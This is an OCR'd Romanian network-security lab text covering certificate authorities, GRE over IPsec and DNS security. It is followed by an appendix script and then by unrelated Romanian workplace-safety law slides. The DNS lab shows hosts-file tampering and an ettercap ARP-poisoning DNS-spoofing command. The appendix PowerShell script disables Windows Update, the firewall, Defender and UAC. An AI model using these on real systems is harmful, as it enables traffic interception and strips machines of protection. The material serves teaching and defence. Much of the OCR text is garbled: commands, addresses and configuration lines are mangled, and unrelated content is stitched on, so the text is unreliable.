Specifications Version 2.2 [25]. Utilizati urmitoarele comenzi pentru a genera si valida (de exemplu,
imprimati cheia publicd) cheia de laborator pe 2048 de bifi, care va fi protejata cu AES236 si fraza
de acces furnizata. Cheia gencratda va fi stocatd ca "validCA.pem" utilizand formatul PEM
[26][27][28][29].
root@internet:/home/student$® openssl genrsa -aes256 —-out
validCA.pem —-passout pass:validCRh 2048
Generating R3A private key, 2048 bit long modulus

e 1s 65537 (0x010001)

root@internet:/home/astudent# openssl rsa -in validCA.pem -passin
pass:validChA -pubout

writing RSA key

MIIBIJANEgkghkiGewOBAQEFAAOCAQBRAMIIBCgKCAQEASgYV]10c20d13LFg2G3TMYV
2vqYkdOoHZ /dfyhBayemgR6rnl1 HoKf 3KwebE JkJyKe+8uevrdAdAL /glMv4DSTLES
kyv8BwhehobTYUvnDgYuldk]j 0F)YMEz4 8+Nmnl DEIUSKhnvLnCMrU3MMVXOY qnTGs6
EM10A1aZWhjOjcDc4Dl/ptut+tAdvkdN/uusgg2lrl 91 KxSNIDREsWUEdu3l 9sCKg
tENe78W) ZBI51 53XtgWn982ZN5uRBUBSK+27TmiD4 2pZCN1Im0/ FN2 LxUk 8ugmm34u/
lrdedveYiqgGWlY8o80De7CdHsGIAThN+/ETDsu/ KEFIbH8gPTRwIpBaPE82CL1plER
JwIDAQAB

In practic, aceasti cheic este foarte importanti si ar trebui mentinuti in conditii de securitate maxima,
cu acces limitat. De asemenea, criptografia curbei eliptice oferd o protectie mai potrivitd pentru
serverele din lumea reali (si necesitd, de asemenea, mai multa putere de calcul).
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Retineti ca un certificat contine informatii despre autorul 1 domeniul sau, prin urmare, este necesar
un figier de configurare pentru certificatul CA. Creati un fister numit "validCA.enf" cu urmatorul
continut. 1 poti schimba in functie de nevoile tale.

root@internet:/home/student$# cat validCA.cnf

L Lfeg ]

default bits = 2048
distinguished name = req distinguished name
prompt = no

[ reg distinguished name ]

C = RO

ST = Bucharest

L = Bucharest

& = Practical Network Security Book

OU = Valid Self-Signed Certificate Lab

CN = *.1lab
emallAddress = mihai.chiroiullcs.pub.ro
Apoi, putem folosi cheia nou generatd si fisierul de configurare pentru a crea un auto-certificat pentru
laboratorul nostru CA. Emitefi urmaitoarele comenzi pentru a stoca certificatul CA cu numele
"validCA.crt” s1 pentru a imprima toate informatiile din acesta.
root@internet:/home/student# openss]l req -xz509 -new —-key
validCA.pem -shazbt6 -days 365 —-out validCA.crt -passin
pass:validCA —config validCA.cnf
rootl@internet:/home/student# opengsl x509 -in validCA.crt -noout -
text
Daca doriti sd vedeti cheia publica continutd in certificat $1 sd o comparati cu a dvs., puteti utiliza
urmatoarea sintaxa.
root@internet: /home/student# openssl =509 -in validCA.crt -noout -
pubkey
Dupa crearea fisierului certificat CA, il puteti instala pe fiecare dispozitiv din laborator. Daca dorim
sa folosim CA, avem nevoie de ¢l pentru a semna certificate generate de alte aplicatii. Vom detalia
cum sd credm o solicitare de semnare a certificatulur (CSR) s1 sd o folosim pentru serverul web
apache. In primul rand, trebuie si crefim o noui cheie privati utilizati de aplicatia apache si un CSR
care va contine certificatul nostru de server. Utilizati urmatorul figier de configurare pentru a accelera

procesul.

root@internet: /home/student$ cat validServerCertificate.contf

[ req 1

default bits = 2048

digtinguished name = req distinguished name

reqg extensions = v3 req

prompt = no

[ reqg distinguished name ]

¢ = RO

ST = Bucharest

L. = Bucharest

O = Practical Network Security Book
WI__D ? INTER / A
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OoU = Valid Self-Signed Certificate Lab
N = *.lab
v3 req |

]
alt names ]
1= 172.3L.0.1

root@internet:/home/student# openssl req -out
validServerCertificate.csr -new -newkey rsa:2048 -nodes -keyout
validServerCertificate.pem -config validServerCertificate.cnf
Generating a 2048 bit RBA private key

writing new private key to 'validServerCertificate.pem'
O mentiune importantd din fisierul de configurare a certificatului este ¢ numele alternativ este dat in
formatul unei adrese IP, permitindu-ne sd accesdm serverul s1 numai prin adresa sa IP. Ultimul pas
este sa semnati solicitarea folosind CA-ul de laborator si sd o validati (cautati numele subiectului si
extensiile).
root@internet:/home/student$# opensgl =502 -req -in
validServerCertificate.csr -passin pass:validChA -CA validCA.crt -
CAkey validCA.pem —-CRAcreateserial -out validServerCertificate.crt
-days 365 —extensions v3 req -—extfile validServerCertificate.cnf
root@internet:/home/student$# openssl x509 —-in
validServerCertificate.crt —~noout -text
Daca doriti sa verificati daca certificatul este validat de un CA, puteti utiliza urmaitoarele.
root@internet:/home/student# openssl verify -CAfile wvalidCA.crt -
verbkose -show chain, Vel ServerCertificate.ert
validServerCertificate.crt: OK
Chain:
depth=0: € = R, 35T = Bucharest, L = Bucharedty O = Practical
Network Security Book, ©OU = Valid Self-Signed Certificate Lab, CN
= *_.lab (untrusted)
depth=1: € = RC, ST = Bucharest, L = Bucharest, O = Practical
Network Security Book, OU = Valid Self-Signed Certificate Lab, CN
= *.lab, emailfddress = mihail.chirciullcs.pub.ro
Pentru a utiliza certificatele din apache, copiati-le mai intai intr-o locatie mai sigura si apoi configurati
gazdele virtuale apache2 similare cu exemplul urmator.
root@internet:/home/student$ cp validServerCertificate.pem
letefssl/private/validServerCertificate.key
root@internet:/home/student# cp validServerCertificate.crt
/etc/ssl/certe/validServerCertificate.crt
root@internet:/home/student# cat /etc/apache2/sites-
available/default-ssl.conf
<IfModule mod ssl.c>

<VirtualHost default :443>
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ServerAdmin webmasterldlocalhost

DocumentRoot /var/www/html

ErrorLog 3{APACHE LOG DIR}/error.log

CustombLog ${APACHE LOG DIR}/access.log combined

SSLEngine on

SSLCertificatelile
/ete/sgl/certe/validSeryverCertificate.ort

S3LCertificateKeyFile
Jete/ssl/private/validServerCertificate. key

#SSLOptions +FakeBasicARuth +ExportCertData
+3trictRequire
<FilesMatch "\.({cgi|shtml |phtml |php)}sS">
SSLOptions +8tdEnvVars
</FilesMatch>
<Directory /usr/lib/cgi-kbin>
S5LOpticns +StdEnvVars
</Direcctory>
</VirtualHost>
</IfModule>

5.3 GRE prin IPSec

In acest laborator vom crea un tunel generic de incapsulare de rutare (GRE) protejat folosind cadrul
1PSec.

Fig. 5.3 GRE peste topologia [PSec
Primul pas este sa va asigurati ¢d aveti conectivitate 1n refeaua locald, de la R1 la InternetVM g1, de
asemenea, la Internet. Presupunem ca toate adresele IP si rutarea au fost configurate manual.
Un tunel GRE este un protocol de incapsulare mai general care este capabil si transporte orice tip de
trafic de date, de la protocoale de rutare (OSPF, RIP, BGP) la IPv4, IPv6 si altele. Acesta utilizeaza
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un camp "Tip protocol” in antetul sdu pentru a descrie acea sarcind utild care trebuie transportata i
poate fi foarte usor adaptat pentru noi tipuri de protocoale.

Pe un router Cisco, pentru a utiliza incapsularea GRE, trebuie mai intdi si creati o interfati tunel, sa
asociati aceste adrese de puncte finale gi sa o facefi de tip GRE. Urmitoarele comenzi vor crea un

tunel intre R1 si R3 in topologie si vor utiliza reteaua 10.0.13.0/24 pentru interfata virtuala creata.
Rl [config) #interface Tunnel O

Rl config-if)#tunnel destination 10.0.23.3
onfig-if)#tunnel source 10.0.12.1

config-if) #tunnel mode gre ip
conifig—1f)#ip address 10:0:18:1 255.255,
config-1if) #end

config) #interface Tunnel O
@

R

Cn
(3]
[*2
o
o
LG

onfig-if)#tunnel source 10.0.Z

onfig-if)#tunnel destination

config-if)#tunnel mode gre ip
R3(config-if)#ip address 10.0.13.3

R3(config-if) #end

Vi rugam sa va verificati conectivitatea inainte de a continua.

Rl#ping 10.0.13.3

Type escape seguence to abort.

Sending 5, 100-byte ICMP Echos to 14.0.13.3, timecut is Z seconds:
Succese rate is 100 percent (5/5), round-trip min/avg/max =
BB/91/96 ms

Daca linkul este in functiune, ar trebui sd facem o configurare adecvata pentru a-1 folosi. Modul

simplu de a face acest lucru este de a crea intrari de rutare care utilizeazi punctele finale tunel GRE

ca destinatie. De exemplu, urmitoarea comanda va directiona tot traficul la 8.8.8.8 prin tunel. Retineti

cd raspunsurile nu vor intra in tunelul GRFE daca nu sunt configurate pentru a face acest lucru, prin

urmare trebuie s transmitem si toate datele de la R3 la dispozitivul Ubuntu prin tunel.

Rl lconfig| #ip roufe R™B8.8 255:255.255.256 10.0,18.3

R3tconfig) #ip rgute Bl 0. 1..100 255.255.255.255F 10.0.13.1

Deschideti Wireshark pe legdtura dintre R1 $1 R2 g1 inspectati traficul GRE. Ar trebui sd observati cd

nu este criptat si ¢a un pachet ICMP pornit de la Ubuntu la 8.8.8.8 este vizibil.
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Fig. 5.4 Captarea traficului GRE
In continuare, vom folosi suita IPSec pentru a proteja traficul generat de GRE. Incepem prin a crea
listele de politici care vor fi utilizate in negocierea fazei unu. Pentru Asocierea sesiunilor utilizata
pentru a crea canalul de comanda al [PSec vom folosi AES256 pentru confidenfialitatea datelor, SHA
pentru integritatea datelor, cu Diffie-Hellman Group 2 si autentificare bazata pe o cheie pre-partajata.
Emiteti urmatoarele comenzi atdt pe R1, cit si pe R3.
Rl {config) #crypto isakmp policy 1
Rl (config-igakmp)#authentication pre-chare
Rl (config-isakmp)#encryption aes 256
Rl [config-isakmp)#hash sha
Rl (config-isakmp)#group 2
Rl [config-icakmp) #lifetime 3600
Rl (config-isakmp) #end
Pentru a adduga cheia pre-partajata, pur si simplu a emis urmatoarea comanda pe ambele routere, dar
asigurati-va ca punctul final este configurat corect.
Rl [config) fcrypto isakmp key 0 PracticalSuperPassword address
1 el is
R3lconfig)fcrypto lsakmp key 0 PracticalSuperPassword address
10.8.12,.1
Acum configuratia pentru IPSec Faza Unu este completa. Urmatorul pas este sa configurati listele de
configurare care vor 1 utilizate pentru asocierea de securitate a datelor. Algoritmii definiti aiei vor fi
utilizati pentru a cripta datele reale.
RliBgnihqg) fcrypgte ipsec transform-set T8 PR esp-ses 2h6 esp-sha-—
hinae
Rl lefg-crypto—-trang) fmode tunnel
Rl (cfg-crypto-trans) #end
R3(config)#crypto ipsec transform-set T3 PR esp-aes 256 esp-sha-
hmac
R3(cfg-crypto-trans) fmode tunnel
R3(cfg-crypto-trans) ffend
Acest lucru va permite ca datele s fie criptate, cu toate acestea, pentru a selecta ce date sa fie criptate
de care avem nevoie pentru a crea o listd de control al accesului (ACL). In exemplul nostru, acest
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lucru ar trebui s se potriveasca cu traficul GRE, s emitd urmitoarele comenzi pe ambele routere.
Retineti cd aie1 vom cripta orice tratic GRE, ar trebui si specificati punctele finale daca traficul care
urmeazi si fie criptat ar trebui sa fie doar cel intre R1 g1 R3.

R3(config)#ip access-1list extended GRE TRAFFIC FOR TIPSEC
R3(config-ext-nacl) fpermit gre any any

Ultimul pas este s lipifi toatd configuratia impreund si sa le aplicati pe o interfati
R1(Corfjg'#uryp+o map TUNNEL MAP 10 ipsec-lisakmp

1 (config-crypto-map) #set peer 10.0.23.3

(

R1 config-crypto-map) #match address GRE _TRAFFIC FOR IPSEL
R1 config-crypto-map) #set transform—get T8 PR

config)#int fa 1/0
Rl config-if) #cryptoc map TUNNEL MAF

(
18
(
Rl (config-if) #end
R3(config) #erypto map TUNNEL _MAP 10 ipsec-isakmp
(config-crypto-map) fset peer 10.0.12.1
(config-crypto-map) fmatch address GRE TRAEFIC FOR IPSEC
(config-crypto-map) #set transform-set TS PR
RB(Confng#lnt fa 0/0
R3(config-if) #crypto map TUNNEL MAP
R3(config-1if) #end
Daca totul a fost configurat corect, traficul dintre Ubuntu g1 8.8.8.8 ar trebui protejat de IPSec si va fi
marcat ca ESP de ereshark

S wpca [ o
W e wes

(W] -- | e | #

5884 1165.7HEEIT 19.8.13.3
5885 3166.723393 18.9.12.1

182 ESP (SPTefultachSde)
5P (SP1-B51274005 |
)

]
A5
i

!

0; B4FG00130
SH11 3169.7239a5 18.8.12.1
5813 3169,735217 19.8.23.3

182 E5P (SPT=BuS1274ba5)
182 3P (SPI-BuZbacksde)

vire (1456 bits), 182 bytes captured {1455 bits) on interfoce 8
02:19 (coiflilIiBeIBE:18), Usti CoiB2Id:fEIed:Ie (oIed:ed:ife:se:le)
4, Srei 10.0.312.1, Dst: 10.6.23.3

Fig. 5.5 IPSec trafic criptat

5.4 imbunatitirea securititii DNS

Serviciul Domain Name System (DNS) este utilizat pentru a traduce nume (de exemplu, facebook)
in adrese IP (de exemplu, 192.168.2.1). Mecanismul din spatele acestui protocol este ierarhic si
distribuit. Incepe cu serviciile radicina, notate folosind un punct ".", si existi o listd de 13 adrese TP
fixe care "nu se schimba niciodatd” s1 pot f1 accesate pentru traducerea numehu [67].

Cu toate acestea, serverul radacind sunt utilizate in principal pentru a indica spre domenii de nivel
supertor (de exemplu, .com, .net). TLD apoi punctul de la al doilea nivel, s1 asa mai departe, intr-o
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manierd ierarhicd. Sa luam in considerare o solicitare DNS tipicd pentru traducerea domeniului
"www.network.security.com”, mai intai trebuie si aflati care este adresa [P a serverulur DNS TLD
pentru ".com" (aceasta se numeste serverul autoritar care poate face numele maparii IP). Apoi,
trimitefi o a doua solicitare la serverul DNS ".com" g1 gasiti adresa IP a serverului DNS responsabil
pentru domeniul "security.com"”. Acum, puteti interoga acest DNS si puteti afla urmatoarele niveluri.
Retineti cd raspunsul final poate veni numai de la serverul DNS cu autoritate.

Inainte de introducerea serverului DNS. un figier numit HOSTS a fost utilizat pentru a stoca local
numele la traducere IP. Una dintre cele mai comune metode de atac este adaugarea de intriri in acest
figier, de exemplu, sa faceti facebook.com inaccesibile. Retinefi ¢d acest figier este de obicei protejat
s1 numait administratorii il pot modifica.

root@dns-client:# cat /etc/hosts

127.0.0.1 localhost.localdomain localhost

127 081 facebook. com

root@dns-client:# ping facebook.com

PING facebook.com (127.0.0.1) 56(84) byvtes of data.

bd bytes from localhost.localdomain (127.0.0.1): icmp seg=1 ttl=64
Time=0J.011 ms

Sa vedem acum cum sd protocolul se comportd in condifii normale i care este vectorul de atac
impotriva acestuia. In primul rand ne-ar fi necesar sa opreasci si sa dezactiveze serviciul DNS implicit
instalat pe Ubuntu 18.04.

root@dnes~glient# netstat -nltp

Froto Recv-Q Send-0 Local Address Foreign Address State
PID/ Program name
top o a127.0.0.53463 0.0.0.0:% LISTEN

2038/ syatemd-resolv

root@dns—-client# sudo systemct]l disable systend-resolved.service
Removed Jetc/systend/systen/multi-user.target .wants/systemd-
resolved.service.

Removed /eto/systemd/svetem/dbus—org. freedesktaop.resolvel.service.
rootl@dns-client# sudo systemctl stop systemd-resclved
rootl@dne-clients# lg —lisah /ete/resolv.cont

655366 0 lrwxrwxrwx 1 root root 39 Feb 14 09:49 /ete/resclv.conf ->
Srun/systemd/ resolve/stub-resolv.cont

root@dne-gldents# rm -rf fetc/resclv.conf

root@dns-client# netstat -nltp

Active Internet connections (only servers)

Proto Reav-Q Send-0 Local Address Foreign Address State
PID/Program name

Pentru a testa g1 a intelege aspectele de securitate ale DNS, trebuie sa instalim serviciul bind9
(implementare DNS bine cunoscuta) si s folosim clientul DNS.

root@dns-server# apt-get install bind%

root@dns-client# cat /etc/resclv.cont

nameserver 172.16.0.1

root@dne-client# neslookup www.google.ro

Server: 172.16.0.1

Bddress: 172.16.0. 1#53
NG, s 15
SR OME )) Loc el
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Non—authoritative answer:

Mame: Www.Joogle., ro
Bddress: 172.217.22.35
Name : WWwW . Joogle. ro

Address: 2a00:1450:4001:81e::2003

Pomnirea unui tepdump simplu pe server (sau client) va va permite sd vedeti in text clar orice trafic
intre cele doud. In mod implicit, DNS are putin sau deloc mecanisme de securitate, tot traficul este
trimis in text clar si nu existi nicio autentificare a mesajelor. In plus, existd atacuri mai complexe
impotriva DNS care utilizeazi implementarea slaba (in special a cache-ului).

Urmatoarea comanda de pe Kali Linux va implementa un MITM care modifica informatiile intr-un
rispuns DNS. In primul rand, trebuie si configurati ce informatii ar trebui modificate, de exemplhu,
puteti modifica numai solicitarile de tip A sau chiar tipurile AAA. Addugati urmitoarea linie in
configuratia ettercap.

kali# cat /etc/ettercap/etter.dns

wiww. Joogle.com A 127.0.0.1

Apoi, un mitm ettercap simplu, cum ar fi cel studiat anterior, ar permite atacatorului nostru sa falsifice
solicitari DNS. Retineti ca optiunea -P aici ar cere ettercap sa utilizeze plugin-ul DNS spoofing
disponibil. Dupa cum putefi vedea, o noud solicitare de la client este raspuns cu adresa IP configurata
de atacator.

kali# ettercap -8 -E -T -P dns speef, -M ARP:remote /172.16.0.2//
J172.16.0.1744

root@dnes-client# ne=loockup www.google.com

Server: 172.16.0.1
Address: 172:16.0, 1THES
Mame: W . qoogle. com

Address: 127.0.0.1

Pentru a va proteja impotriva dns cerere MITM atac, o solutie ar fi sd pund in aplicare DNS Security
[68]. Pe scurt, aceasta adaugd o mfrastructurd ierarhica la cea DNS existenti care se ocupd cu
semnarea datelor. Mai exact, serverele DNS radicind au, de asemenea, un certificat care trebuie sa
fie instalat pe fiecare client si de ncredere. Apoi, folosind acest certificat, serverele radacina vor
semna certificate de TLD g1 aga unul, foarte similar cu structura DNS.

Acum, cu DNSSec activat, orice interogare DNS poate primi trei tipuri de raspunsuri: (1) raspunsul
nu va fi semnat, (2) rdaspunsul este semnat, dar semnitura nu poate fi validata si1 (3) raspunsul este
semnat §i semnatura este validatd. Se poate utiliza urmaitorul site web pentru a urmari semniturile
unui domeniu DNS [69].

Primul pas ar fi sa adaugati cheia serverelor radidcina in lantul de certificate locale de incredere. Acest
lucru este necesar pentru a avea un punct de plecare pentru validarea cheilor.
rootl@dns—-client# dig +nocomments +nostats +nocmd +nogquestion -t
dnskey . > /etc/trusted-key.key

Putem folosi serverele Google (8.8.8.8) pentru a valida un server cunoscut care implementeazi DNS.
De asemenea, puteti testa cu diferite domenii 1 puteti vedea care sunt raspunsurile.

root@dng-client:/home/student# dig @5.8.8.8 plir.org +sigchase
+dnssec +multi
plr.org. 299 IN A 97.107.141.235

NG, "€ €Is
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[...]

;; Ok this DNSKEEY is a Trusted Key, DNSSEC wvalidation is ok: SUCCESS
Daca apare un atac MITM (similar cu cel anterior), semnitura DNSSec nu va fi prezenta si. prin
urmare, verificarea nu va reusi. Refineti ¢, daca unul pentru a implementa DNSSec in organizatia
dumneavoastrd nu existd nici o impunere pe client pentru a valida fiecare interogare DNS, numai
serverul poate fi fortat sa facd acest lucru.

root@dns—-client:/home/student# dig ©5.8.8.8 pir.org +sigchase
+dnssec +multi

;s RRset to chase:

plr.org. 3600 IN Pay 127 0.0

Launch a query to find a RRset of type RR3IG for zone: pir.org.

;; RRSIG is missing for continue wvalidation: FAILED

rig 0. @
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Cap. 7 Anexele

7.1 Anexa1 - Script pentru configurarea Windows

Configurare LocalGFRO
{
Param
(
[gir[]] S$NodeMName = "localhost"
)
Inport-D3CResource -ModuleName PolicyFileBEditor
SNodeName nodului

{

chdministrativeTemplateSetting NolutomaticlUpdate
{
KeyWValueName =
"SOFTWARENPolicies\Microsoft\Windows\WindowslUpdate\AU\NoAutoUpdate

"

PolicyType = "Machine"
Date = "O"

Agsigurati-vd = "Prezent"
Tip = "DWord"

}
cAdministrativeTemplateSetting AUOptions

{
KevyValuelame =
"SOFTWARE\ Policies\Micreseft\Windows\WindowsUpdate\AUNAUOptions"
PolicyType = "Machine"
Date = nm2n
Asigurati-va = "Prezent"
Tip .= "DWORD"
I
cAdministrativeTemplateSetting ScheduledInstalllDay
{
KevValueName =

"SOFTWARE\ Policies\Microsoft\Windows\WindowsUpdate\AU\ScheduledIns
tallDay"

PolicyTvpe = "Machine™
Date = "0O"

Asigurati-v3 = "Prezent"
Tip = "DWORD"

1
cAdministrativeTemplate3Setting ScheduledInstallTime

1
KeyValueName =
"SOFTWARENPolicies\Microsoft\Windows\WindowsUpdate\AU\ScheduledIng
tallTime"

s .. ¢Is
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PolicyType = "Machine"
Date = "3"

Agigurati-vd = "Prezent"
Tip = "DWORD"

}
cAdministrativeTemplateSetting DisablelirewallStandard

{

KevValueName =
"SOFTWAREAPolicies\Microsoft\WindowsFirewall\StandardProfile\Enabl

eflirewall"

PolicyTvyvpe = "Machine™
Date = "O"

Asigurati-vad = "Prezent"
Tip = "DWORD"

}

cAdministrativeTemplateletting DisableWindowsDefender
{
KeyvaluelMame = "SOFTWARENFolicies\Microsoft\Windows

Defender\DigablefAntiSpyware"
PolicyType = "Machines"

Date = "1"
Agigurati-va = "Prezent"”
Tip = "DWORD"

——
Ty}

}

LocalGPO
Start-DecConfiguration —-Path .\LocalGPO -Wait -Force -Verbose

New-TtemProperty -ErrorBetion SilentlyContinue -Path
"HKLM: Software\Microgsoft\Windows\CurrentVersion\policies\gystem" -

Name EnablelUA -Propertylype DWord -Value 0O -Force

rig 0. @
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Capitolul V
Instruirea lucratorilor in domeniul securitatii si sanatatii in munca conform
Legii nr. 319 / 2006 (actualizata)

Articolul 75

Instruirea in domeniul securitatii si sanatatii in munca are ca scop insusirea cunostintelor si
formarea deprinderilor de securitate si sanatate in munca.

Articolul 77

Instruirea lucratorilor in domeniul securitatii si sanatatii in munca cuprinde 3 faze:
a)instruirea introductiv-generala;

b)instruirea la locul de munca;

c)instruirea periodica.

Articolul 80

Angajatorul trebuie sa dispuna de programe de instruire - testare la nivelul intreprinderii si/sau
unitatii pentru:

a)conducatorii locurilor de munca;
b)/ucratori, pe meserii si activitati.



Capitolul V
Instruirea lucratorilor in domeniul securitatii si sanatatii in munca

Articolul 81

(1) Rezultatul instruirii lucratorilor in domeniul securitatii si sanatatii in munca se consemneaza in
mod obligatoriu in fisa de instruire individuala, intocmita pe suport hartie sau Tn format
electronic, conform informatiilor prevazute in anexa nr. 11, cu indicarea materialului predat, a

duratei si datei instruirii.

(2) Completarea fisei de instruire individuala se va face in format electronic sau olograf, in functie
de varianta de instruire aleasa, imediat dupa verificarea instruirii.

3)Dupa efectuarea instruirii, fisa de instruire individuala se semneaza de catre lucratorul instruit si
de catre persoanele care au efectuat si au verificat instruirea.

Articolul 81™1

Tn cazul in care instruirea lucratorilor in domeniul securitatii si sanatatii in munca se realizeaza in
format electronic, fisa de instruire trebuie sa fie semnata de catre toate persoanele
implicate Tn procesul de instruire, cu semnatura electronica, semnatura electronica avansata

sau semnatura electronica calificata.



Sectiunea a 2-a
Instruirea introductiv-generala

Articolul 83
Instruirea introductiv-generala se face:
a)la angajarea lucratorilor definiti conform art. 5 lit. a) din lege;
b)lucratorilor detasati de la o intreprindere si/sau unitate la alta;
c)lucratorilor delegati de la o intreprindere si/sau unitate la alta;
d)/ucratorului pus la dispozitie de catre un agent de munca temporar.
Articolul 88
(1)Tn cadrul instruirii introductiv-generale se vor expune, in principal, urmatoarele probleme:
a)legislatia de securitate si sanatate in munca;
b)consecintele posibile ale necunoasterii si nerespectarii legislatiei de securitate si sanatate in munca;
c)riscurile de accidentare si imbolnavire profesionala specifice unitatii;

d)masuri la nivelul intreprinderii gi/sau unitatii privind acordarea primului ajutor, stingerea incendiilor si
evacuarea lucratorilor.

(2)Continutul instruirii introductiv-generale trebuie sa fie in conformitate cu tematica aprobata de catre
angajator.

e Articolul 89
« (D Instruirea introductiv-generala se va finaliza cu verificarea insusirii cunostintelor pe baza de teste.



Sectiunea a 3-a
Instruirea la locul de munca

Articolul 90

(1)Instruirea la locul de munca se face dupa instruirea introductiv-

generala si are ca scop prezentarea riscurilor pentru securitate i sanatate

In munca, precum si masurile si activitatile de prevenire ;/ protectie la
leca

nivelul fiecarui loc de munca, post de lucru si/sau rei functii
exercitate.

Articolul 91

(1)Instruirea la_locul de munca se face de catre conducatorul direct al
locului de munca, in grupe de maximum 20 de persoane.

(2)Durata instruirii la locul de munca se stabileste de catre angajator



Sectiunea a 3-a
Instruirea la locul de munca

Articolul 93

(1)Instruirea la locul de munca se va efectua pe baza tematicilor intocmite de catre angajatorul care si-a
asumat atributiile din domeniul securitatii si sanatatii in munca/lucratorul desemnat/serviciul intern/serviciul
extern de prevenire si protectie si aprobate de catre angajator, tematici care vor fi pastrate la persoana care
efectueaza instruirea.

(2)Instruirea la locul de munca va cuprinde cel putin urmatoarele:

a)informatii privind riscurile de accidentare si imbolnavire profesionala specifice locului de munca si/sau
postului de lucru;

b)prevederile instructiunilor proprii elaborate pentru locul de munca si/sau postul de lucru;

c)masuri la nivelul locului de munca si/sau postului de lucru privind acordarea primului ajutor, stingerea
incendiilor si evacuarea lucratorilor, precum si in cazul pericolului grav si iminent;

d)prevederi ale reglementarilor de securitate si sanatate in munca privind activitati specifice ale locului de
munca si/sau postului de lucru;

e)demonstratii practice privind activitatea pe care persoana respectiva o va desfasura si exercitii practice
privind utilizarea echipamentului individual de protectie, a mijloacelor de alarmare, interventie, evacuare si de
prim ajutor, aspecte care sunt obligatorii.



Sectiunea a 4-a
Instruirea periodica

Articolul 95

Instruirea periodica se face tuturor lucratorilor prevazuti la art. 83 si are drept scop
reimprospatarea si actualizarea cunostintelor in domeniul securitatii si sanatatii in munca.

Articolul 96
(1) Instruirea periodica se efectueaza de catre conducatorul locului de munca.

(2)Intervalul dintre doua instruiri periodice si periodicitatea verificarii instruirii vor fi
stabilite prin programul de instruire-testare elaborat la nivelul intreprinderii si/sau unitatii

potrivit prevederilor art. 15 alin. (1) pct. 8, in functie de conditiile locului de munca si/sau
postului de lucru.

(2™ 1)Intervalul dintre doua instruiri periodice nu va fi mai mare de 6 luni.

(3)Pentru personalul tehnico-administrativ intervalul dintre doua instruiri
periodice va fi de cel mult 12 luni.



Capitolul 1V
Obligatiile lucratorilor

Articolul 23

(1)In scopul realizirii obiectivelor previzute la art. 22, lucratorii au urmatoarele obligatii:
a)sa utilizeze corect masinile, aparatura, substantele periculoase, echipamentele de transport si alte mijloace de productie;

b)sa utilizeze corect echipamentul individual de protectie acordat si, dupa utilizare, sa 1l inapoieze sau sa il puna la locul destinat pentru
pastrare;

c)sa nu procedeze la scoaterea din functiune, la modificarea, schimbarea sau nlaturarea arbitrara a dispozitivelor de securitate proprii,
in special ale masinilor, aparaturii, uneltelor, instalatiilor tehnice si cladirilor, si sa utilizeze corect aceste dispozitive;

d)sa comunice imediat angajatorului si/sau lucratorilor desemnati orice situatie de munca despre care au motive intemeiate sa o
considere un pericol pentru securitatea si sanatatea lucratorilor, precum si orice deficienta a sistemelor de protectie;

e)sa aduca la cunostinta conducatorului locului de munca si/sau angajatorului accidentele suferite de propria persoana;

f)sa coopereze cu angajatorul si/sau cu lucratorii desemnati, atat timp cat este necesar, pentru a face posibila realizarea oricaror masuri
sau cerinte dispuse de catre inspectorii de munca si inspectorii sanitari, pentru protectia sanatatii si securitatii lucratorilor;

g)sa coopereze, atat timp cat este necesar, cu angajatorul si/sau cu lucratorii desemnati, pentru a permite angajatorului sa se asigure ca
mediul de munca si conditiile de lucru sunt sigure si fara riscuri pentru securitate si sanatate, in domeniul sau de activitate;

h)sa isi insuseasca si sa respecte prevederile legislatiei din domeniul securitatii si sanatatii in munca si masurile de aplicare a acestora;

i)sa dea relatiile solicitate de catre inspectorii de munca si inspectorii sanitari.
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Prevederi legale referitoare la sanatatea si securitatea in munca

e Legea nr. 319 / 2006 (actualizata) - a securitatii si sanatatii in munca

e HGR nr. 1091 / 2006 (actualizata) - privind cerintele minime de securitate
Si sanatate pentru locul de munca

e HGR nr. 1146 / 2006 (actualizata) - privind cerintele minime de securitate
si sanatate pentru utilizarea in munca de catre lucratori a echipamentelor
de munca

* HGR nr. 1051 / 2006 (actualizata) - privind cerintele minime de securitate
si sanatate pentru manipularea manuala a maselor care prezinta riscuri
pentru lucratori, in special de afectiuni dorsolombare

e HGR 1028 / 2006 (actualizata) - privind cerintele minime de securitate si
sanatate in munca referitoare la utilizarea echipamentelor cu ecran de
vizualizare



Prevederi legale referitoare la sanatatea si securitatea in munca

e HGR nr. 971 / 2006 - privind cerintele minime pentru semnalizarea de
securitate si/sau de sanatate la locul de munca

e OUG nr. 195 din 12 decembrie 2002 (**republicata®*)privind
circulatia pe drumurile publice

e Codul Muncii



Legea nr. 319 / 2006 (actualizata) -
securitatii si sanatatii ITn munca
 Articolul 1

(1)Prezenta lege are ca scop instituirea de masuri privind promovarea
Imbunatatirii securitatii si sanatatii in munca a lucratorilor.

Detalii cu privire la instruirea lucatorilor gasiti in modului “Instruirea in
domeiul SSM si SU pe platforma https://etsacademy.ro/

(2)Legea stabileste principiile generale referitoare la prevenirea
riscurilor profesionale, protectia sanatatii si securitatea lucratorilor,
eliminarea factorilor de risc Si acmdentare informarea, consultarea,
participarea echilibrata potrivit %1 instruirea  lucratorilor Ssi a
reprezentantilor lor, precum i dlrectl e generale pentru implementarea
acestor principii.



https://etsacademy.ro/

Legea nr. 319 / 2006 (actualizata) - a
securitatii si sanatatii ITn munca
e Articolul 7

e (1)In cadrul responsabilitatilor sale, angajatorul are obligatia sa ia
masurile necesare pentru:

a)asigurarea securitatii si protectia sanatatii lucratorilor;
b)prevenirea riscurilor profesionale;
c)informarea si instruirea lucratorilor;

d)asigurarea cadrului organizatoric si a mijloacelor necesare
securitatii si sanatatii in munca.



HOTARARE nr. 1.091 din 16 august 2006
privind cerintele minime de securitate si sanatate pentru locul de munca

Stabilitate si rezistenta

Cladirile care adapostesc locuri de munca trebuie sa aiba o structura si o
rezistenta corespunzatoare naturii utilizarii lor.

Instalatii electrice

Instalatiile electrice trebuie sa fie proiectate si construite astfel incat sa nu
prezinte un pericol de incendiu sau explozie.

Lucratorii trebuie sa fie protejati impotriva riscului de accidentare prin
atingere directa si/sau atingere indirecta.

Proiectarea, constructia si alegerea materialului si dispozitivelor de protectie
trebuie sa {ina seama de tensiunea nominala, influenta conditiilor externe si
de competenta lucratorilor care au acces la partile componente ale
instalatiei.



HOTARARE nr. 1.091 din 16 august 2006
privind cerintele minime de securitate si sanatate pentru locul de munca

Cai si iesiri de urgenta

= Caile si iesirile de urgenta trebuie sa ramana in permanenta libere si sa conduca in
mod cat mai direct posibil Tn aer liber sau in spatii sigure.

= Tn caz de pericol, trebuie sa fie posibila evacuarea rapida si in conditii cat mai sigure a
